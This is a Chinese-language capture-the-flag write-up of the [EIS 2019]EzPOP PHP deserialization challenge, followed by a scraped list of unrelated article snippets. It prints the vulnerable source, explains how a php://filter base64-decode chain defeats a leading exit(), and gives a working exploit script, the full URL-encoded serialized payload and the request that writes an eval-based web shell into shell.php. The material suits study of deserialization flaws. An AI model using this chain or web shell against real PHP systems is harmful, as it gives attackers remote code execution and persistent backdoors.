php://filter绕过死亡exit
文章目录
- php://filter绕过死亡exit
- 前言
- [EIS 2019]EzPOP
- 绕过exit
- 参考
php://filter绕过死亡exit
前言
最近写了一道反序列化的题,其中有一个需要通过php://filter去绕过死亡exit()的小trick,这里通过一道题目来讲解
[EIS 2019]EzPOP
题目源码:
<?php
error_reporting(0);class A {protected $store;protected $key;protected $expire;public function __construct($store, $key = 'flysystem', $expire = null) {$this->key = $key;$this->store = $store;$this->expire = $expire;}public function cleanContents(array $contents) {$cachedProperties = array_flip(['path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type',]);foreach ($contents as $path => $object) {if (is_array($object)) {$contents[$path] = array_intersect_key($object, $cachedProperties);}}return $contents;}public function getForStorage() {$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete]);}public function save() {$contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);}public function __destruct() {if (!$this->autosave) {$this->save();}}
}class B {protected function getExpireTime($expire): int {return (int) $expire;}public function getCacheKey(string $name): string {return $this->options['prefix'] . $name;}protected function serialize($data): string {if (is_numeric($data)) {return (string) $data;}$serialize = $this->options['serialize'];return $serialize($data);}public function set($name, $value, $expire = null): bool{$this->writeTimes++;if (is_null($expire)) {$expire = $this->options['expire'];}$expire = $this->getExpireTime($expire);$filename = $this->getCacheKey($name);$dir = dirname($filename);if (!is_dir($dir)) {try {mkdir($dir, 0755, true);} catch (\Exception $e) {// 创建失败}}$data = $this->serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {return true;}return false;}}if (isset($_GET['src']))
{highlight_file(__FILE__);
}$dir = "uploads/";if (!is_dir($dir))
{mkdir($dir);
}
unserialize($_GET["data"]);
刚开始看到这题很懵逼,我们这里反过来讲,首先容易看出,这段代码应该是需要我们写一个shell进去
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
我们溯源一下filename和data的值是从哪里传过来的:
$filename = $this->getCacheKey($name);
$data = $this->serialize($value);
可以看到,这两个值是从函数:public function set($name, $value, $expire = null): bool的形参中传过来的,如何调用set()方法呢?我们需要注意到:A::__destruct()
A::__destruct() -> save() -> set()
set()会被A的变量store调用,所以store就需要传递一个B类的对象。而A调用set()传递了三个参数:
set($this->key, $contents, $this->expire) ,其中key在构造方法中赋值,$contents在哪来呢?
$contents = $this->getForStorage() -> $this->cleanContents($this->cache)
$this->cache变量传入cleanContents()返回,最终通过json串形式返回给$contents
其实getForStorage()和cleanContents()没什么用,这里不用管,$expire也没什么用
经过分析,我们知道在A类中,$key传入的是写入文件的名字,$cache可以最终传给$contents,然后当作文件内容写入,$store存储B类对象,$complete、$expire为空值即可
这样我们能够确定B类set()中file_put_contents()的两个变量了,但是怎么绕过exit()?不绕过写了shell也没用
这里通过 p神文章 学习了通过php://filter绕过
我们可以使用该php://filter的base64-decode、rot13、strip_tags等过滤器来绕过,这里我们使用base64-decode:
绕过exit
如果我们在写入文件的前面有exit(),例如:
<?php
$filename=$_POST['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();?>'.$content);
我们这里$filename $content 都是可以控制的,于是我们可以使用php://filter/write=convert.base64-decode/
当我们的$filename为:php://filter/write=convert.base64-decode/resource=shell.php
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== 是
<?php @eval($_POST[1]);?>的base64编码
并且$content: xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
那么就可以进行绕过,shell.php:
�^�+q<?php @eval($_POST[1]);?>
这是什么原理呢,当我们文件名是php://filter伪协议,并且进行base64解码时,就会将写入文件内容的数据进行一次base64解码,于是原来的<?php exit();?>经过解码后就失效了,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==经过解码就形成了一句话木马。
为什么这里$content前要加一个字母x?因为base64解码是4个一组,<?php exit();?>为15个字符,加上一个刚好凑够16个,不干扰后面的base64解码
知道绕过exit就简单了,我们可以将一句话木马base64编码两遍,传给A::cache变量,然后设置一下B中的options数组:
$this->options = array('serialize'=>'base64_decode','expire'=>'123');
这样B中的data就是,经过了一个base64解码后的值了
$data = $this->serialize($value);
然后在php://filter是base64解码两次,写入了shell.php中
我们编写exp:
<?phpclass A
{protected $store;protected $key;protected $expire;public $complete;public $cache;public function __construct(){$this->store = new B();$this->key = "php://filter/write=convert.base64-decode/resource=shell.php";$this->expire = null;$this->complete = "";$this->cache = array("YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09");}}class B
{public $options;public function __construct(){$this->options = array('serialize'=>'base64_decode','expire'=>'123');}}$a = new A();
echo urlencode(serialize($a));# O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D
这里有个点需要注意一下:

在一句话木马一次base64后需要在前面加3个a,让其4个一组
写入:
http://fceb4489-ee1c-434e-a4c4-a760e4026c92.node4.buuoj.cn:81/index.php?src=1&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

参考
谈一谈php://filter的妙用
[EIS 2019]EzPOP
相关文章:
php://filter绕过死亡exit
文章目录 php://filter绕过死亡exit前言[EIS 2019]EzPOP绕过exit 参考 php://filter绕过死亡exit 前言 最近写了一道反序列化的题,其中有一个需要通过php://filter去绕过死亡exit()的小trick,这里通过一道题目来讲解 [EIS 2019]EzPOP 题目源码&#…...
RS485/RS232自由转ETHERNET/IP网关profinet和ethernet区别
你是否曾经遇到过这样的问题:如何将ETHERNET/IP网络和RS485/RS232总线连接起来呢?捷米的JM-EIP-RS485/232通讯网关,自主研发的ETHERNET/IP从站功能,完美解决了这个难题。这款网关不仅可以将ETHERNET/IP网络和RS485/RS232总线连接起…...
Hadoop_HDFS_常见的文件组织格式与压缩格式
参考资料 1. HDFS中的常用压缩算法及区别_大数据_王知无_InfoQ写作社区 2. orc格式和parquet格式对比-阿里云开发者社区 3.Hadoop 压缩格式 gzip/snappy/lzo/bzip2 比较与总结 | 海牛部落 高品质的 大数据技术社区 4. Hive中的文件存储格式TEXTFILE、SEQUENCEFILE、RCFILE…...
算法与数据结构(四)--排序算法
一.冒泡排序 原理图: 实现代码: /* 冒泡排序或者是沉底排序 *//* int arr[]: 排序目标数组,这里元素类型以整型为例; int len: 元素个数 */ void bubbleSort (elemType arr[], int len) {//为什么外循环小于len-1次?//考虑临界情况…...
【C/C++】C++11 在各编译器版本支持详情
C11 是在 2011 年发布的 C 标准,各编译器对 C11 的支持情况如下: GCC:GCC 4.8 及以上版本支持 C11。Clang:Clang 3.3 及以上版本支持 C11。Visual Studio:Visual Studio 2010 及以上版本支持部分 C11 特性,…...
flutter开发实战-图片保存到相册
flutter开发实战-图片保存到相册。保存相册使用的是image_gallery_saver插件 一、引入image_gallery_saver插件 在pubspec.yaml中引入插件 # 保存图片到相册image_gallery_saver: ^1.7.1# 权限permission_handler: ^10.0.0二、保存到相册的代码 使用image_gallery_saver将图…...
数据结构---栈
(一)栈之基础补充 C语言内存分配 对于一个C语言程序而言,内存空间主要由五个部分组成 代码段(text)、数据段(data)、未初始化数据段(bss),堆(heap) 和 栈(stack) 组成,其中代码段,数据段和BSS段是编译的时候由编译器分配的,而堆和栈是程序运行的时候由系统分配的。布局如…...
【RabbitMQ】golang客户端教程1——HelloWorld
一、介绍 本教程假设RabbitMQ已安装并运行在本机上的标准端口(5672)。如果你使用不同的主机、端口或凭据,则需要调整连接设置。如果你未安装RabbitMQ,可以浏览我上一篇文章Linux系统服务器安装RabbitMQ RabbitMQ是一个消息代理&…...
计算机图形学笔记2-Viewing 观测
观测主要解决的问题是如何把物体的三维“模型”变成我们在屏幕所看到的二维“图片”,我们在计算机看到实体模型可以分成这样几步: 相机变换(camera transformation)或眼变换(eye transformation):想象把相机放在任意一个位置来观测物体&#…...
Redis - 三大缓存问题(穿透、击穿、雪崩)
缓存穿透 概念: 查询一个数据库中也不存在的数据,数据库查询不到数据也就不会写入缓存,就会导致一直查询数据库 解决方法: 1. 缓存空数据 如果数据库也查询不到,就把空结果进行缓存 缺点是 - 消耗内存 2. 使用布…...
web自动化测试-PageObject 设计模式
为 UI 页面写测试用例时(比如 web 页面,移动端页面),测试用例会存在大量元素和操作细节。当 UI 变化时,测试用例也要跟着变化, PageObject 很好的解决了这个问题。 使用 UI 自动化测试工具时(包…...
golang json.Marshal() 结构体、map 携带 符号 转成 “\u0026“
问题:数据结构中的值 带有 & > < 等符号,当我们要将 struct map 转成json时,使用 json.Marshal() 函数,此函数会将 值中的 & < > 符号转义 为 类似 "\u0026" 像我们某个结构体中…...
【设计模式|行为型】备忘录模式(Memento Pattern)
说明 备忘录模式是一种行为型设计模式,通过捕获一个对象的内部状态,并在该对象之外保存这个状态,以便在需要时恢复对象到原先的状态。备忘录模式包含三个核心角色:。 发起人(Originator):负责…...
Redis与其他缓存解决方案(如Memcached)的区别是什么?
Redis和其他缓存解决方案(如Memcached)在设计理念、功能和特点上有一些区别,以下是它们的主要区别: 数据类型支持:Redis支持多种数据类型(如字符串、哈希表、列表、集合、有序集合等)࿰…...
《面试1v1》Kafka的ack机制
🍅 作者简介:王哥,CSDN2022博客总榜Top100🏆、博客专家💪 🍅 技术交流:定期更新Java硬核干货,不定期送书活动 🍅 王哥多年工作总结:Java学习路线总结…...
基于双 STM32+FPGA 的桌面数控车床控制系统设计
桌 面数控 设 备 对 小 尺寸零件加工在成 本 、 功 耗 和 占 地 面 积等方 面有 着 巨 大 优 势 。 桌 面数控 设 备 大致 有 3 种 实 现 方 案 : 第 一种 为 微 型 机 床搭 配 传统 数控系 统 , 但 是 桌 面数控 设 备 对 成 本 敏感 ; 第二 种 为 基 于 PC…...
ES-5-进阶
单机 & 集群 单台 Elasticsearch 服务器提供服务,往往都有最大的负载能力,超过这个阈值,服务器 性能就会大大降低甚至不可用,所以生产环境中,一般都是运行在指定服务器集群中 配置服务器集群时,集…...
Java面试准备篇:全面了解面试流程与常见问题
文章目录 1.1 Java面试概述1.2 面试流程和注意事项1.3 自我介绍及项目介绍1.4 常见面试问题 在现代职场中,面试是求职过程中至关重要的一环,特别是对于Java开发者而言。为了帮助广大Java开发者更好地应对面试,本文将提供一份全面的Java面试准…...
Go语言进阶语法八万字详解,通俗易懂
文章目录 File文件操作FileInfo接口权限打开模式File操作文件读取 I/O操作io包 文件复制io包下的Read()和Write()io包下的Copy()ioutil包总结 断点续传Seeker接口断点续传 bufio包bufio包原理Reader对象Writer对象 bufio包bufio.Readerbufio.Writer ioutil包ioutil包的方法示例…...
Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)
漏洞简介 Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运…...
<数据集>yolo骑行者识别<目标检测>
数据集下载链接https://blog.csdn.net/qq_53332949/article/details/159770308?spm1011.2415.3001.5331数据集格式:VOCYOLO格式 图片数量:13674张 标注数量(xml文件个数):13674 标注数量(txt文件个数):13674 标注类别数&…...
Kandinsky-5.0-I2V-Lite-5s图生视频实战教程:5秒短视频一键生成(RTX4090D友好)
Kandinsky-5.0-I2V-Lite-5s图生视频实战教程:5秒短视频一键生成(RTX4090D友好) 1. 快速认识Kandinsky-5.0-I2V-Lite-5s Kandinsky-5.0-I2V-Lite-5s是一款专为短视频创作设计的轻量级AI模型。它最大的特点就是简单高效——你只需要准备一张起…...
SkeyeVSS开发心得-VSS流播放与注意事项
本文是 VSS流播放详解 的配套开发笔记。 项目地址 https://github.com/openskeye/go-vss 1. 明确三个要点 POST /api/video/stream 只有一套 StreamResp 外壳,内里走哪路完全由 Device.AccessProtocol 决定。流媒体是否拉起来,不都是 StartRelyPull 的…...
DTM智慧监控:构建企业级分布式事务一致性保障的终极指南
DTM智慧监控:构建企业级分布式事务一致性保障的终极指南 【免费下载链接】dtm A distributed transaction framework, supports workflow, saga, tcc, xa, 2-phase message, outbox patterns, supports many languages. 项目地址: https://gitcode.com/gh_mirrors…...
电机轴承异响?5分钟教你用振动分析仪定位故障(附实测案例)
电机轴承异响诊断实战:振动分析仪操作全流程解析 轴承异响是工业现场最常见的电机故障之一,但很多维护工程师面对"嗡嗡"声或"咔嗒"响往往无从下手。上周某化工厂的水泵电机就因轴承早期磨损未被及时发现,导致整机报废&am…...
构建编译环境
拉取LLVM并配置这里我保存在D盘#创建文件夹 mkdir D:\LLVM cd D:\LLVM #拉取源码 (只拉取核心仓库,不需要 submodule,现在 LLVM 是 monorepo) #这一步比较大,网络不好请挂梯子 git clone --depth1 https://github.com/llvm/llvm-project.…...
OpenClaw与千问3.5-35B-A3B-FP8低成本方案:自建模型接口替代OpenAI高价调用
OpenClaw与千问3.5-35B-A3B-FP8低成本方案:自建模型接口替代OpenAI高价调用 1. 为什么需要替代OpenAI高价调用 去年冬天的一个深夜,我盯着OpenAI API账单上那个刺眼的数字——$127.83,这只是一个月的测试费用。当时我正在用OpenClaw做一个自…...
开发环境配置实战:通过Anaconda Prompt高效管理虚拟环境与Jupyter内核
1. 为什么需要Anaconda Prompt管理虚拟环境 作为数据科学领域的开发者,我经历过无数次Python环境混乱带来的痛苦。记得有一次在交付项目前,突然发现本地运行的模型在服务器上完全无法复现,排查了半天才发现是numpy版本不兼容的问题。这种经历…...
利用快马平台快速构建node.js express api原型,十分钟搭建可运行后端服务
今天想和大家分享一个快速搭建Node.js后端服务的实践心得。作为一个经常需要验证想法的开发者,我发现用InsCode(快马)平台可以省去很多环境配置的麻烦,特别适合做原型开发。 为什么选择Node.jsExpress组合 Express框架是Node.js生态中最轻量灵活的Web框架…...
利用快马平台快速构建b站a8直播观看页面原型
利用快马平台快速构建B站A8直播观看页面原型 最近想尝试开发一个B站A8直播的观看页面原型,主要想验证一下直播相关的技术方案。作为一个前端开发者,我深知从头开始搭建这样一个页面需要花费不少时间,特别是在处理视频流、弹幕互动和响应式设…...
